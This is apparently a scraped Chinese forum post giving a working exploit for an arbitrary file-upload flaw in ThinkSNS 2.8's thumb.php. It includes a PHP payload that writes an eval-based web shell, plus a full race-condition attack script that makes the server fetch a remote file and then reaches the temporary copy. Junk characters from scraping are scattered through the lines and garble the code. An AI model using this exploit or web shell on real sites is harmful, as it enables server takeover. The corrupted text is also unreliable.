Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
1 \; `: D& b9 h" x1 w漏洞文件
/ X1 a8 Q# l' H  U存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
$ W! _$ Y0 H1 ]: V2 S- ~" Z# C<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
/ l# |! a7 o/ M2、        计算出临时的文件名：
" Q0 K1 R) d: }+ o% D& i) u这里我们可以看文件的99行（刚刚是不是没注意呀！）。
" e4 v2 @/ H  S5 M* o! N' l* I- g8 S0 s
3、        上传临时文件。
3 `0 k3 e5 I% Y- X% T- j1 B! H4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
<?php
error_reporting(0);
1 z. N5 {" f- x# X; Vset_time_limit(0);
& S8 c6 Z( ?: K* h3 ~ini_set(“default_socket_timeout”, 5);
7 u, a. l# o" J6 |# m9 I/ `function http_send($host, $port, $headers) {
3 x8 E" n$ u$ n- R# U. t$fp = fsockopen($host, $port);
4 f/ l- l% Y+ i! d7 v; x; m# ]" {if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
: U6 n4 D3 s  O; R; \( Sreturn $fp;
}
function http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
fclose($fp);
return $ret;
7 ^9 c1 \' W1 M; p: k; X- @4 D}
' y( `* U+ T0 p" L& v* H+ y6 I8 W$ |print “\n#  ThinkSns Arbitrary File Upload   #\n”;
# V' R( f1 _( i: X4 ]print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
, ~; D( N0 ~; j+ N! W( @" o6 E+ aprint “Usage:   php <host> <path> <romote_url>\n”;
: I& M" b8 Y" g$ c, _print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
" |# l7 U7 \9 E6 Z* jdie();
$ s5 e% p6 }0 z! c8 m5 @. n: B* c}
& u# L, N3 q) b4 ]+ d5 ]$host = $argv[1];
. e  u8 R. I: T$path = $argv[2];
$url = $argv[3];
8 T" o2 T! H. u8 n+ E3 u$i=0;
& c0 `( t- u) B$ d5 x" |1 ^& n. B: Z//上传数据包
" l5 s: M0 B4 o. A$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
* v5 Y. `) g) R$ J+ d; w$ Z$headers_up .= “Host: “.$host.”\r\n”;
8 L& i& E, Y3 n% K/ c$headers_up .= “Connection: close\r\n\r\n”;
) l  r* T, ?# N* I5 p* Kecho $headers_up;
6 C  v' a; X3 G5 m5 f//临时文件访问数据包
" \& A/ ?% D. b$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
echo $headers;
while(++$i<10) {
7 w4 k7 _: r+ _6 n. _* qfclose(http_send($host, 80, $headers));
$ S( U# g" H) U/ ]# x, {}
& f+ F) k5 U* h* N! Pfclose(http_send($host, 80, $headers_up));
while(++$i<50) {
7 K" ]6 z- D. X* ufclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
( h* ?/ F! n# t+ ~7 s+ t$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
# ^7 T" q, Q; Lprint “Success!\n\n”;
! x2 k' V' C$ ~4 U8 _} else {
print “Fail!\n\n”;
% n4 @$ }5 [) B" x4 Y* Y6 i}
+ r$ T. Y* f: r4 c6 v9 H?>
- C& s2 s  X* i​